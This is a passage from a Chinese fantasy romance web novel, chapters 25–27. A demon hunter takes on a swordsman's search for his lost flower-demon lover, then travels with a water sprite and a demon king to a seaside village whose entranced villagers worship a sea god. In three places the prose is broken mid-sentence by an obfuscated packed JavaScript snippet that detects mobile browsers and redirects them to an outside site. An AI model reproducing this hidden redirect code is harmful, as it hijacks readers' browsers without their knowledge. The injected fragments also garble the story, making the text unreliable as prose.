“哇!炼化好啦?”消消从玻璃瓶中飞出来,揉揉眼睛,显然是刚睡醒的模样,“成法器了,要不要给它起个更炫酷的名字?” “什么名字?” “嗯……惊涛骇浪波涛汹涌直取姓名之摄魂铃?” “滚。” 姜望舒连个眼神都不愿意分给他,起身简单收拾一下,吃过早餐后,就要出门看看。 昨天晚上山匪并没有能够进村,但是村外的一些栅栏和土墙还是被破坏了一些,所以一大早,除了背着锄头要去田中种地的男人,其余的都去修补防御了。 姜望舒也参与了帮忙,毕竟她白吃白住这么多天,也不是很好意思,想要帮村里的人做些什么。 住在乡下的日子总是慢悠悠的,但倘若人活动起来,又会觉得时光飞快,天色黑下来,柴房内,昏黄的灯光如豆,摇曳出斑驳的光影。 为了能够更好地看守土匪的头头,村民们将柴房收拾出来两部分,分成里屋和外屋,外面的屋子有桌子、床还有一些吃食,里屋只有床还有一些木柴,除了吃喝拉撒外,土匪头头的手是被绑起来的,以防他搞小动作。 剑痴正站在角落,身形挺拔如松,面容清瘦,还抱着他怀中的那把木剑,他的手指轻轻摩挲着剑柄,那是一种下意识的动作。 过了不久,姜望舒也来了,反正她的妖丹炼化也已经结束了,等到这件事情结束之后,她就要接着出发去东海了。 见到姜望舒,剑痴似乎没有什么反应,从始至终,眼里似乎都只有那把剑,反倒是被关在里屋的土匪头头一脸期待地看着姜望舒,两屋的门上面有个大洞,这样外屋可以随时看到里屋人的动作。 “望舒姐,你终于来了,你可不知道,我的天啊。”土匪头头隔着门板说,“终于有人陪我说话了,每次轮到这家伙……不是,这位大哥看守,他都一言不发,盯着我的时候也不说话,可瘆人了。” 姜望舒觉得他说话有些好笑,在心里为他说的话鼓了下掌,但面上却不显:“行了,你老实待着吧,过个两三天就把你给放了。” “谢过望舒姐!” 说完,姜望舒就直接坐了下来,自顾自地倒水喝,看到还有几块糕点,秉着不吃白不吃的原则,她想尝一尝,消消也忍不住飞了出来,反正剑痴也知道他的存在,他直接坐下来,两条小短腿一晃一晃的,拿起桌上的糕点吃起来。 两人的动作和神态都几乎一模一样,两双眼睛齐刷刷地看着糕点,让一旁的剑痴嘴角难得抽了抽。 姜望舒这才感觉到有人一直在注视着他们俩,转头看到剑痴不知道什么时候不再看剑,改盯她俩了。 怪渗得慌。一刹那,姜望舒的脑袋和土匪头头的脑门联通了,怪不得吓成那样,都开始主动和她说话了,为了打破这氛围,姜望舒先主动开口问:“诶?那边那位大哥,你要吃吗?味道还不错。” 时间愈来愈晚,天空被一层厚重的云幕紧紧笼罩 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没想到它居然兴致缺缺地飞回了玻璃瓶中:“那水喝多了就那样,味道一般,今天不喝了。” 懂了,这是喝腻了。 良久,剑痴终于正眼看向她,声音放低问:“你不是捉妖师吗?为什么和妖怪混到一起?” 姜望舒不知道该怎么回答,其实她也没想要和妖怪待在一起,但是吧,好像每次都会莫名其妙被妖怪碰瓷或者是跟着,实属身不由己。 “妖怪怎么了,你看消消,傻呼呼的,跟着也没什么大碍。” 说完,剑痴似乎是在思考着什么,又问:“你是从京城来的捉妖师吗?” 虽然流云派并没有坐落于京城附近,但是她也在京城混了许久,还参加了捉妖师大赛,也算半个京城人了。 “嗯,算是吧。”姜望舒回应道。 他似乎是有些犹豫,抿着唇,不停地用手擦拭着木剑,最后仿佛下定了决心,从口袋中拿出一个令牌,开口问道:“你……你认识这个东西吗?” 姜望舒接过令牌,上面刻有半轮月亮,吃惊地问:“这你是从哪里得到的?” 半轮月亮,是阴月派的标志,隐藏在阴影背后的明月,象征着危险和神秘。三大捉妖门派的记号还是很好辨识的,这穷乡僻壤的地方,村中人不认识也实属正常。 看到姜望舒的反应,剑痴知道她一定是认识的,语气变得焦急:“你认识对吗?我……我曾经有一个喜欢的姑娘,但是几个月前,她被捉妖师抓走了,这个令牌是当时抓她的人掉的。” “所以……”姜望舒很快得出结论,“你喜欢的姑娘是妖怪?” 剑痴点了点头接着说:“她从来没做过什么坏事,你让我看到捉妖师也可以和妖怪和平相处,所以,我想拜托你帮忙,帮我找找她,报酬是什么都可以,我的命也行。” 姜望舒皱眉:“可是,她很有可能已经被收了啊!虽说你认为我与别的捉妖师不同,但是你猜我们为什么要叫捉妖师,我们就是来捉妖的,被收了的妖怪很有可能已经不在了啊!” 听到姜望舒的话,他似乎是有些失落,头缓缓低了下去,但是仍然不死心地说:“不,她没有死。” “你为什么这么肯定呢?”姜望舒不太赞同。 话说到这个份上,剑痴也不再有所隐瞒,将剑柄处的一个小格子打开,里面静静躺着几片粉红色的花瓣。 25. 游踪问寻(二十五) 剑痴这把木剑原来是经过改造的,剑柄处还能打开,里面存放着心爱之人的花瓣,怪不得如此宝贝这把看似普通的木剑。 通过剑痴的描述,姜望舒得知,他喜欢的那位姑娘是一朵花妖,由着他自己不爱说话,自然没什么朋友,这荒郊野岭的,漫山遍野的草木都是他最好的遮挡物,方便了他每日都能够寻到一个小角落一蹲。 有的时候一待就是一下午,要问他为什么不愿和别人打交道,答案并不是不擅长,而是他觉得自己有手中这把木剑就足够了,要说起来,他也的确是个怪人,这木剑是他父亲还在世的时候亲手为他雕刻的,就这样陪伴着他一年又一年。 直到有一天,剑痴照例寻了个去处,正打算独自一人安静地消磨时光,突然一个清脆的女声惊扰了他,他正打算转身离开,视线却不受控制地被那一抹艳丽的红色所吸引。 “可恶的人类,你进入我的领地要做什么?” 原来是他不小心闯入到这朵花妖的栖息地了。 本来想迈开步子离开,但就像等待许久的蝉茧终于扯破束缚,见到明媚璀璨的阳光般,他的榆木脑袋蓦地迸发出零星火花,愈演愈烈,直至烧成不可控制的熊熊烈火。 剑痴突然就不想走了,他想将自己的目光分出一部分移到这朵花妖身上,自此,他总会来这里,花妖从最开始的恼怒,到后面的无可奈何。 因为她发现她居然打不过这个普通的人类,当然,剑痴也没有还手,只是一味地闪躲和挨揍,次数多了,一来二去的不知怎么,花妖看他也顺眼起来,两人顺理成章地走到了一起。 二人的性格都安静,常常依偎在一起,一坐就是大半天。 那个沉默寡言的男人,生命中不再只有单调的浅黄色木剑,而是多了美丽的红色,花妖曾经将几片花瓣交给他,告诉他这花瓣和她是同源,所以如果她死了,这些花瓣就会枯萎,所以剑痴才断定,那个姑娘并没有死。 当然,依照他半天憋不出几句话的性格,他是说出这么长的一段故事的,好在姜望舒连蒙带猜,知道怎么将他惜字如金吐出的话扩写,从只字片语中揣摩含义,这才有了二人完整的相遇故事。 “呜呜呜,太感人了,小爷我同意了,一定帮你找到那朵花妖,让你们有情人终成眷属。” 剑痴还没把事情讲完,一阵奶声奶气的哭声就从玻璃瓶中传来,因为消消的哭泣,瓶中的水都涨了大半,消消的想象能力比之姜望舒的更强,顿时被感动得哭声满天飞,整个屋子都回荡着那凄惨又搞笑的声音。 “行了,别哭了,再哭这瓶子都装不下了。”姜望舒无奈地晃了晃瓶子,又对剑痴说:“这事的确有些古怪,捉妖师收妖是没错,但并不允许圈养,既然几个月过去了,她还没有死,那么总归是个好事,我可以找到令牌所属门派去问问。” 剑痴一下子站了起来:“你知道是哪个门派的捉妖师干的?我现在就去找他们!” 见他一副要找人去干架的样子,姜望舒赶紧拦住他道:“我说兄弟,你先别冲动啊,你这单枪匹马地去根本不可能找到人,说不定还会被认为和妖怪勾结,直接被关押起来!” “那怎么办!”剑痴焦急地跺了跺脚,“都是我没用!” 姜望舒思考了一下,把自己手中的传送令牌递给剑痴,让他先到流云派生活,这样等她把事情搞清楚了,可以很快联系到他。 剑痴皱了皱眉问:“可是我什么都不做,心中会有所不安。” 姜望舒拍了拍他的肩道:“等消息也是需要时间的,我答应你,保证我一个月内就会回去。再说,谁说你什么都不能做的,我们流云派的弟子和师父一般都不在家,所以打扫的活就交给你了!” 好说歹说,剑痴终于算是同意了。 三日后,姜望舒如约放了土匪,再次踏上去往东海的路,临行前还送给村长一些简易的符纸,以此更好地保护村子,剑痴则在姜望舒的帮助下,去到流云派。 姜望舒没有选择立刻回到流云派,她有一种可笑的直觉,一定要去东海,这种念头时常萦绕在她的脑海中,让她不得安生,以至于她有时候会怀疑,自己其实是一个被设置了任务的傀儡,不然为何会有这种无法解释的执着? 提到阴月派,姜望舒第一个想到的人就是苏萱,她犹豫了一下,因为她想到之前在葱雾森林附近,沈墨尘曾提醒她们阴月派内部可能已经出现问题,并且其在大肆购买妖怪。 毕竟这事与阴月派相关,还不知道苏萱的立场是什么,所以保险起见,姜望舒还是决定给沈墨尘写一封书信,用的是捉妖师界一种专门用来传信的纸张,俗称纸仙,只要告诉它要送到的地点就可以。 不知不觉间,姜望舒已经开始信任沈墨尘了。 “望舒姐,那纸仙行不行啊,怎么还没给咱们回信?”消消在她身边一蹦一跳的,一路上叽叽喳喳的没个消停。 这些天的赶路,她们已经越来越接近东海,空气都变得潮湿起来,这让消消感到舒适,所以化成人形的时间也越来越长。 姜望舒弯腰点点他的脑袋,没好气地说:“这才过去三天,以我估算,就算纸仙飞得一路火花带闪电,也飞不回来啊,能到青天派那里都算不错了。” 话锋一转,她又说:“倒是你,你在外面这么长时间可以吗?毕竟你是淡水妖,尽管这里空气越来越潮湿,可风都带着些咸味,跨物种了吧!” 消消“哼”了一声,一副你不懂的样子,可他还刚刚向前走几步,突然人就原地消失不见了。 姜望舒吓了一跳,慌忙跑上前,发现地面上有烧焦的痕迹,还有浓浓的妖气,此刻的天空中突然雷声轰鸣,一道道闪电划破天际,如同在愤怒地挥舞利剑。 她立刻跟着地面上的踪迹一路追踪,眼尖的姜望舒看到前方有一个若隐若现的身影,看起来和消消的身高差不多,而在那道身影后面“嗷嗷”叫着的可不正是消消。 都不知道跑了多久,姜望舒在后面撅着腚追的气喘吁吁,前面的妖怪还在酷酷跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265053|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像个永动机一样不知疲倦,她看着那土豆大、一闪一闪的小妖就来气,主要是两者的距离太远了,姜望舒攻击不到前面的妖怪,不然早就把它打落了。 追着追着,她猛地暗骂一声,这才想起极速符,做出的东西太多,都忘记自己有什么法宝了。 刚贴了一张在身上,她整个人就窜了出去,轻松地追上了前面的妖怪,那是一个长得四不像的小怪物,怎么形容呢,大大的眼睛,圆圆的脑袋,有鼻子有嘴的,就是头上长了两个犄角,眼睛闪着诡异的蓝光。 现在的姜望舒很轻松就可以跑的和它一样快,见状,它气的头上的闪电更亮了,加足了马力往前冲,这回姜望舒可不急了,气定神闲地又贴了一张极速符,轻轻松松又和它持平了。 终于,它气急败坏地停下来,大喊道:“狡诈的人类捉妖师,你无耻!无赖!净会使一些奸诈的手段!” 姜望舒也停下脚步,挑眉道:“这叫智慧。把消消放了!不然收了你个小妖呢~” 听到这话,雷电妖浑身又开始噼里啪啦作响了,气氛逐渐变得紧张起来,一人一妖都没有开始动作。 良久,消消似是从昏迷的状态清醒过来,首先看到的是姜望舒一身冷峻的气息站在对面,所以下意识地喊了一声:“望舒姐,你遇到什么事了,怎么一副要杀了我的表情?” 说完这句话,他才注意到自己身边站着一个雷电妖。 雷电妖一脸震惊地看向他:“你认识这个捉妖师?她还是你姐?” “对呀,她是……倒也不是我姐,当然我也不是她小弟,但是我认识她。”消消晃了晃脑袋,想要在妖族同类面前给自己留点面子,否认了自己已经心甘情愿成为小弟的事实,“我们刚刚正一起走路呢,我好像突然就飞起来了,然后就什么都不知道了。” 雷电妖不赞同地对他说:“没事,小兄弟,虽然我打不过她,但是我还有绝招没使呢,咱俩逃跑绝对没问题,你被威胁了你就眨眨眼。” “啊……真没有。”消消挠挠头,这下,他只能努力睁大眼睛,生怕上一秒眨了下眼睛,下一秒就被带走了。 姜望舒正抱着手臂看着他俩一唱一和的,最后冲消消招招手,他就一蹦一跳地到姜望舒身边。 “你误会了,她是个好捉妖师……” 就这样,消消用一刻钟的时间向小雷电妖解释他和姜望舒的相识过程,小雷电妖的警惕也渐渐放松下来。 意识到自己做错了,它也不是那种不讲道理的坏妖,不会一些弯弯绕绕的。 “好吧,是我误会你了……”它有些别扭道,“那我跟你道个歉吧,我叫小……” 它还没说完自己的名字,突然间,在姜望舒和消消震惊的目光中,整只妖就“轰”的一声飞了出去,在空中划出一道完美的弧线后,落到了远处的空地上,它边飞边在空中怒喊:“啊?死捉妖师,你居然敢阴我——啊——————” 惨烈的场景让姜望舒在脑海中想起了一个词:死不瞑目。 26. 游踪问寻(二十六) 一阵风猛地袭来,卷起漫天尘土,将一人两妖笼罩在一阵混沌中,姜望舒几乎是立刻反应过来,拉起消消就要跑,但是有人比她的动作更快一步,别在腰上收纳袋被通通打落在地,脚腕也被缠绕上一条细细的藤蔓。 姜望舒使劲拔脚,可是她越用力,藤蔓缩得就越紧,直到脚踝处已经红了一圈,她终于还是放弃了。 来人本是满面春风地笑着,却蓦地像是看到了什么脏东西一般,笑容凝固,眼中闪过诡异的绿光,下一刻,消消感到一股千斤重的压力从头顶至脚下,险些把它直接钉到地下,二人拉着的手也被迫松开。 “等等,等等,祁辰!”姜望舒有些急切地喊。 祁辰的脸色更黑了,冷声道:“你还维护他!” 小雷电妖见到祁辰霸气入场,轻易就缠住姜望舒的时候,还在内心欢呼:它们妖族来人了,可以不用怕捉妖师了,虽然这个妖怪看起来桀骜不驯又不失贵气,不小心误伤了友军,但是他很强大,比这个小小的捉妖师还强大,它们妖族向来以强者为尊。 然而现在,它也看不懂了,可能是太久没接触到其他妖了,不知道世界原来变化这么快,为什么这只修为深厚的大妖一副捉奸成功的愤怒模样。 小雷电妖惊愕,脑海中上演了一场他追她逃,她还要带着另一个未成年的男孩奔走。 姜望舒满头黑线:“他只是个孩子啊,你杀他干什么!” “都一百岁了还装什么孩子。”祁辰冷哼,面色明显不悦,但是到底停下继续攻击。 消消委屈,但消消不敢说。有的妖怪成熟期早,可他们水妖就是成熟的晚啊! 终于,祁辰看起来像是接受姜望舒身边多了一只有些讨人厌的小水妖,对了,不远处还躺着一只小雷电妖。 这里是平原区,没有崇山峻岭的雄伟,没有深谷幽壑的神秘,只有无边的开阔与坦荡,放眼望去。大地如同一块巨大的绿色绒毯,铺展到天际尽头。 几人找到一条蜿蜒的河流坐在旁边,姜望舒拿出之前留的干粮吃起来,周围一圈都是妖怪,也不太需要吃东西,她也毫不避讳地吃着“独食”。 这里有不少河流和湖泊,在阳光下闪烁着粼粼波光,偶尔,几只白鹭掠过水面,翅膀轻点,激起一圈圈涟漪,有一种悠然自得的宁静。 通过交谈得知,这小雷电妖是因为这片区域总打雷下雨,产生很多火花闪电,终于有一天,它就这么被劈出来了,至于偷袭他们,是因为它以为消消是被捉妖师抓住了,想救一下,没想到他们居然是朋友。 既然误会已经解除,小雷电妖痛快地表示自己做事有些鲁莽,道过歉后就选择离开。 祁辰拉拉姜望舒的衣袖,嘴巴动了动,轻轻地说:“我想了一下,是我错了,不该不告诉你就利用你。” 下次利用你之前应该提前通知一下。要经过反复斟酌和策划,郑重其事地发出一张镶满金边的邀请函,每一个字句都经过反复打磨,以此告知她:我要开始利用你了。 这是姜望舒解读出来的。 “你没错!是我的错,都是我的错!” “不不不,我的错,我真的错了。” 姜望舒从善如流地改口:“对,就是你的错!” 消消目瞪口呆,这家伙真的是四大妖王之一?就这么老老实实站着挨一个人类小姑娘的怼?虽说望舒姐也很厉害,之后的能力媲美万年妖兽也不是不可能,但是他俩现在谁都打不过祁辰啊,万一他生气了呢。 想到这,他不禁悄悄向外挪动脚步,以便随时拉着望舒姐一起跑路,如果消消知道姜望舒不服就干,打不过就跑的性格,就不会疑惑为什么她敢这么莽了,毕竟她保命的东西可真不少。 沉默片刻,姜望舒问:“在皇宫内找到你想要的东西了吗?” 祁辰摇了摇头,他寻遍了皇宫,终于确定那东西已经不在哪里了,现在的京城在二皇子的治理下越来越繁荣稳定,所以他就跑出来找姜望舒了。 “不过,因为我打破过其中一盏,二者本是同源,所以能感觉到另一盏莲灯还存在于这个世界上。” “你为什么一定要将其破坏掉?”姜望舒还是感到困惑不解,莲灯就在她手上,像是得了个大金元宝,花不了,却能惹来灾祸。 提到这个,祁辰的表情明显有些痛苦,但是还是说:“我必须这么做,几十年前,我从睡梦中醒来,就像是有所感应一般,似乎忘记了一些事情,但是像我们活了这么久的,忘记什么东西很正常。唯一可以肯定的是,这莲灯注定会让我悲痛欲绝,所以它们必须消失掉。” 另一边,姜望舒却悟了,莲灯凝聚着青天派创始人沈天和两大妖王毕生的修为,利剑的存在本无好坏,决定权在使用它的人手中。 祁辰作为天地间最厉害的存在,如果说能让他感觉到威胁的东西,也就只能是这蕴含巨大能量的莲灯了吧?所以才会如此执着于将其毁灭,应当是来自于大妖的预感。 “李云为就是我四师兄云舒吧?你认识我师父他们?”姜望舒冷不丁地说了一句。 似乎是早就料到姜望舒会猜到这一层关系,祁辰并没有什么惊讶。 “没错,他的相貌和当今皇上长得很相似,你能猜到这一点并不难,正因为长相相似,所以长公主为避免被发现,只能回到妖族,拜托我将这半人半妖的婴儿抚养长大,但我并不喜小孩,正巧无意间撞到你师父,于是扔到他们必经之路上,他们果然捡了回去。” 祁辰又补充道:“至于说认识你师父们,那还真没有,不过倒是听说过他们的名号,在连云峰深处有一对很厉害的捉妖师夫妇,仅此而已。” 姜望舒嘴角抽了抽,师父师娘还真是……捡孩子的命。 不过她很快反应过来:”可是,长公主不是有驸马爷吗?云舒师兄怎么会是她和皇上的孩子?” “这就说来话长了,那只九尾狐妖的确喜欢驸马没错,但是她心里也放不下皇帝,所以……” 剩下的就不用祁辰多说了,所以这位长公主其实也并没有想象中的那么善良,一面和自己的郎婿恩爱,一面又似下和皇帝偷情,只是没有想到中了皇后的计谋,被捉妖师收掉了,不然说不定会出什么乱子呢。 祁辰从姜望舒的背包中抢了一块饼子接着说道:“我离开之前,在京城中找过你的那个小师兄,跟他说明了真相,并送与它我一截藤蔓,我的妖力有回溯时间,改变人们记忆的能力,所以他遇到的人都会自动认为他才是李云为。” “至于他是否愿意做回李王爷,就要看他的选择了。”拿到饼子的祁辰也不吃,反而一直在手中握着,被姜望舒又无情地夺了回去。 浪费粮食,实属可耻。 说得有些口渴了,也不知道祁辰从哪变出了一个玻璃杯子,伸向消消,他立刻心领神会,股股清流从手掌冒出。 以前只觉得消消戏精,没想到如此有眼力见。 “所以你要去哪里,这个方向,东海?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292912|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜望舒说:“没错,一直想要来东海看看,这里有四大妖王之一的鲸妖,海妖一族有能提升长鞭的材料。” “你怎么知道四大妖王中有鲸妖?”祁辰皱眉,他们四大妖王都是互相认识的。 当年人类和妖族大战时,鲸妖那老家伙潜伏在深海之中,并没有参与,和他一样都属于静观其变派,真正知道他俩本体的人,除了姜望舒,应该都已经死绝了。 姜望舒没有细究自己是如何得知,糊弄道:“书中都有记载啊!我们捉妖师曾经有记载的,在一本古老的典籍上。” 祁辰显然是没有相信她的托词:“什么书?” “忘了忘了,我记性不好。”姜望舒继续说。 见状,他也知道继续追问下去毫无意义,也安静了下来。 消消倒没有他想的那么多,只觉得姜望舒真的是博学,看来人类对于他们妖界的了解居然如此之多。 “我和你一起去一趟东海。”吃饱喝足后,祁辰站起身拍拍衣袖上的灰尘,“正巧,我活了万年,实在闲的无聊,看看海妖那老家伙还在不在。” 大佬就是大佬,姜望舒流汗,她倒也没有想要去找妖王,只是想去寻一种材料罢了…… 从刚刚开始就有些拘谨的消消开口:“大王,小水滴很好奇,您和海妖王谁的年龄更大?” 祁辰摸了摸下巴,竟真地认真思索起来:“唔……他比我老几岁吧。” 就这样过了几日,在一天午后,他们很快行至海岸线附近,远处是波光粼粼的大海,海浪轻轻拍打着沙滩,发出低沉而悠长的声响。 “不远处有个渔村,我们可以去那里找个客栈住。”姜望舒指了指远处,这个村子坐落在海岸线上,一进去就是一个开阔的广场。 姜望舒和另外两只妖的视线不由自主地向一处移去,只见广场中央矗立着一座巨大的大理石鲛人雕像,面容被雕刻得异常精致,她的眼睛深邃而空洞,注视着村口的方向,嘴唇微微张开,似乎在说着什么。 雕像的头发如同海藻般缠绕着,但姜望舒却感觉这些头发似乎在流动,缠绕着雕像的身体。 一只修长的手遮住了姜望舒的视线,温润的声音在耳边响起:“不要看雕像了。” 回头,祁辰整正含笑看着她,目光专注,眼睛亮闪闪的。 姜望舒像是过敏了似的,直接弹射出去半米,刚刚祁辰说话带起来的气流让她的耳朵热热的。 消消:没眼看,真的没眼看,大王,你追妻路漫漫啊。 好在这个渔村里是有客栈的,环境看起来也很整洁,但是,在开房间这件事情上,三人意见有了分歧。 姜望舒想要和消消一间房,祁辰自己一间房,没必要开三间房,节省一下经费,但是祁辰坚决不同意消消和姜望舒住在一起,他愿意勉为其难地和消消一间房。 消消也不太愿意和祁辰住在一起,没有姜望舒在,祁辰身上的威压让他感到恐惧。 但消消他敢想也不敢说啊! “我们都是男的,住在一起更方便。”祁辰给出一个合情合理的原因。 姜望舒一想,确实是这样的,看到消消低着头默不作声,说不定也是默认了,所以也就同意了。 在客栈老板那里,三人得知刚刚广场上的那座人鱼雕像被当地人奉为海神,世代相传,认为它能保佑他们出海平安,鱼虾满仓,姜望舒不禁皱皱眉,那个雕像看起来那么诡异,确定是保平安,不是招邪的? 27. 游踪问寻(二十七) 傍晚的海风吹来,带着淡淡的咸味,这个渔村还夹杂着一丝若有若无的腐臭,鼻子最灵敏的消消表情有些痛苦,一直无精打采的。 姜望舒吃过饭后,站在窗边,看到外面的行人并没有什么异常,商铺都是正常开门的,偶尔有几个孩子在街边玩耍。 视线一转,一个小男孩正追着梳着羊角辫的小女孩玩,男孩见追不上,假装摔倒在地,女孩见状,又立刻跑回来,将男孩扶起,可令姜望舒没想到的是,被扶起的男孩居然一把推开女孩,哈哈大笑地跑了。 男孩的笑声格外尖锐,像是被压抑后突然爆发出来的一样,令人毛骨悚然。 姜望舒皱皱眉,强压下心里的那点不适感。 天色黑下来,此刻,祁辰的房间内却是另一幅景象,原本应该是普通客房的房间居然变成了一座宫殿,正是祁辰原本居住的地方,位于一片幽深的山谷中,宫殿的建筑风格古朴,地面主要由黑色大理石铺就,墙壁上爬满青藤,石壁上也有一道道划痕,可见已经有年头了。 这里空间开阔而高大,墙壁上还镶嵌着各式各样的宝石,什么颜色的都有,都是祁辰这些年从四处搜集起来的珍宝,此刻,这些宝石散发出各色的柔和光芒,显得与宫殿的风格格格不入。 祁辰倒不是真的喜欢这些破石头,除了好看一无是处,只因好像有人曾和他说过,这大殿太过于暗淡,还是增添些亮色的好,自此,每次出去闲逛,他总会记着带回来一块,日积月累,千年来竟也收藏了满墙的宝石。 此刻,他坐在一把巨大的黑色椅子上,屁股下还有一块软皮,姿势随意,手指无意识地敲着扶手,一改在姜望舒面前的温和模样,此刻的他像一位真正的王,坐在高堂之上,俯视着下方,眼神凌厉。 “来,说说吧,这几天跟在望舒身边都做了什么?” 跪在下面的正是小水妖消消,他就差流泪庆幸前段时间没霸占姜望舒的床,不然现在估计要小命不保了。 “没没,什么都没做。” 他把自己和姜望舒在青柳村发生的一切都一五一十地告诉祁辰。 祁辰微微皱眉,声音冷淡道:“什么剑痴?居然能让姜望舒把自己回门派的令牌都送出去?” 消消不敢回答,额头渗出冷汗,只是低着头。 “算了,”王座上的男人似乎并不是很高兴,眼神深邃,接着对消消说:“既然望舒挺喜爱你,本王会保你这小妖无事,但是你如果不安分守己的话……” 话没有说完,但消消已经明白他的意思了。 “我懂我懂,大王您放心,我也很喜爱望舒姐,绝对不会做对她不利的事情,我以妖心起誓。” 话音刚落,消消感到上面的男人脸色更黑了,立刻改口:“都是姐弟之间的关爱。”这才逃过一劫。 “那个花妖被抓可能和最近大量妖怪莫名失踪事件有关,的确值得关注,我会派葱雾森林内的下属们好好查一下的。” 祁辰一挥手,房间内顿时又变回客栈的样子,祁辰拿出一个玻璃瓶,消消立刻识相地跳到瓶中,一点水花都不敢掀。 祁辰自顾自地盘腿坐到床上,过了一会,又觉得有些无趣,它们妖怪向来从心,没有人类的礼节约束,即使在宫中假扮了许久的王爷,仍然死性不改,更何况连皇帝老儿根本都没限制过他,更加助长了他随性的火苗。 所以这会儿,他迈步走到房门口,伸手推开门打算去骚扰一下姜望舒,丝毫没有意识到深夜敲开女子闺房的行为像个变态。 别看这个渔村不大,但是很多来往的商人要从他们这里收购海鲜,而客栈又不多,所以他们来的时候几乎是满的,如此这般,姜望舒和祁辰的房间并不在同一楼层,祁辰还需要亲自爬楼梯,委实窝囊得很。 姜望舒并不知道祁辰那边的闹剧,她这边正有一个新麻烦。 就在刚刚,姜望舒坐在床上修炼,突然一阵敲门声传来,她谨慎地走到门口问:“谁?” 没有人回复她。 姜望舒第一反应是祁辰和消消一起来吓唬她,但后来一想,祁辰并不会做这种让她感觉慌张的事情,消消那熊孩子就不一定了。 良久,姜望舒又问了一声,这次,门外传来了店小二的声音,他的神志并不太清醒的样子,虚弱的声音从门外传来:“不好意思顾客,刚刚吓到您了吧,是我们这的一个醉鬼敲门,已经被我劝退了,您安心休息吧。” 姜望舒并没有回应他,很快,门外的人就走了。 店小二说的话她半分都没有相信,因为她刚刚分明没有听到有其他人在说话,店小二又是如何劝退所谓的醉鬼呢?直觉告诉她敲门和回应的都是店小二一人,所谓的酒鬼是杜撰的。 须臾,确定外面再没有什么其他的动静后,姜望舒才打开房门,却见房门口放着一个餐盘,里面有一道菜、一碗米饭和一壶酒,这里面的东西,她可不敢吃喝。 抬眸,突然远处走廊出现一个男人的身影,姜望舒的心一紧,下意识就要拿出长鞭,毕竟也不知道对面是人是鬼,符纸万一没用,鞭子至少还能缠住对方,绊住对方的脚步。 万幸,走过来的是祁辰,他看到姜望舒如临大敌的样子,有些疑惑,接着就变了脸,控诉道:“你不会以为我要半夜来偷袭你吧!我承认之前我利用你是不对,但我哪次骗过你?” 祁辰走过来,一脸受伤地看着她,嘴角都快压到地里去了,看到姜望舒并没有看他,而是一直盯着地上的一个餐盘,心又碎了一次。 姜望舒将刚刚发生的事情一五一十地告知祁辰,他提议出客栈看看,选择性忽略还在瓶子里蜷缩着的消消,先不要待在房间里。 这件客栈一共有四楼,算是整个渔村里面最高的建筑之一,姜望舒住在四楼,祁辰住在二楼,他们刚走到一楼,就发现客栈的老板豪迈地睡在一楼的柜台前,肥胖的身躯堆叠在长长的柜台上,倘若他身下是个碟子,新岁更迭期间的头牌菜就有了。 两人默契地没有出声,蹑手蹑脚地离开客栈,但是接下来在街上看到的景象让祁辰也感到强烈的不适。 白天那股腐臭味此刻更加浓郁,街上无论男女老少,都表情空洞,嘴角带着诡异的笑容,向着一方向走去,百人同往,这些人还不时发出“嗬嗬”的声音,如同行尸走肉般。 祁辰立刻带姜望舒转移到无人的房顶,在这里不会被地面上的人发现。 姜望舒想知道这些村民如果看到还有意识清晰的人,是否会发起攻击,于是想了想,将替身符拿出来,符纸出之前店小二的模样,扔到人群中,符纸立刻变成了一个惟妙惟肖的假人。 假人店小二走到其中一个人前,打招呼般挥挥手,他面前的人并没有什么反应,径直越过他。 于是,在下一个村民面前,假人店小二说了句“你好”,这个声音就像是开启潘多拉的魔盒,所有正在缓步走路的村民都抬眼看向他,眼睛逐渐变蓝,口中还流出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜望舒庆幸不已,还好刚刚没有图方便,直接就跟在渔民们身后,不然就被发现了,他们二人一路跟到了海边,此刻的天空中乌云密布,但是海面却很平静,像是被某种力量压抑着。 渔民们走到海边,全部都虔诚地跪在地上,望向宽阔的海面,等待着他们的海神出现,刹那,天地安静下来,只有翻滚的海浪声,连海鸥的叫声都消失不见。 终于,在前面的海里,出现一个巨大的漩涡,不知何时起,周围弥漫起浓重的雾气,将众人笼罩在其中,刺骨的寒风吹过,姜望舒不禁打了个寒战,就连祁辰都皱皱眉,这海腥味让他感觉很不爽。 “冷吗?”祁辰侧头看向姜望舒,这个时候居然还能分神关注到她的状态。 姜望舒摇头,示意他自己无事。 一阵低沉而沙哑的歌声从海雾中传来,如同地狱深处传来的低语,他们很快感受到歌中的恶意,它穿透浓雾,回荡在每一个角落,姜望舒直觉不能听到这歌声,立刻封住了自己的听觉。 可令她感到不安的是,封住听觉后,她仍然能够听到歌声,就像是在她的灵魂唱歌一般,无法逃避,微微的刺痛从大脑传来,逼迫得她快要承受不住。 就在姜望舒不知所措的时候,倏忽之间,祁辰从她的身后捂住了她的耳朵,由于他长得高大,姜望舒长得又不算高,所以从远处看,好像是他抱住了姜望舒一般,无处可避,四处都是他的气息,空气中的腥臭味被冲淡。 